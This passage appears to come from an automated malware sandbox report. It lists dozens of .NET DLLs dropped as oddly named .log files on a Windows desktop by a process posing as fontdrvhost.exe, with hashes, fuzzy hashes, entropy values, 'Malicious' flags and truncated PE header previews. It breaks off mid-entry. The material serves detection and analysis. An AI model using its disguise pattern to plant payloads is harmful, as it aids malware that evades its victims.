MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\JavyIngh.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\JfyqGcCs.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\JvAHRkKP.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\KOmOGvDg.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\KWVhlfdm.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\KjbhtTTT.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\KnZYovDz.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\KszgdGmQ.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\LovAYRCw.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\LtTWIWgh.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\MHvzAhUM.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\MLVQXpXH.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\MMDorhKp.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\MPlPWbPk.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\MTLhtkSf.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\NMMXsbef.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\NWMxEuQr.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\NgoGZspx.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\NmOPODYO.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OEWHVhjH.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ORiFVhtH.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OemrfNDp.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OgxpbmIn.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
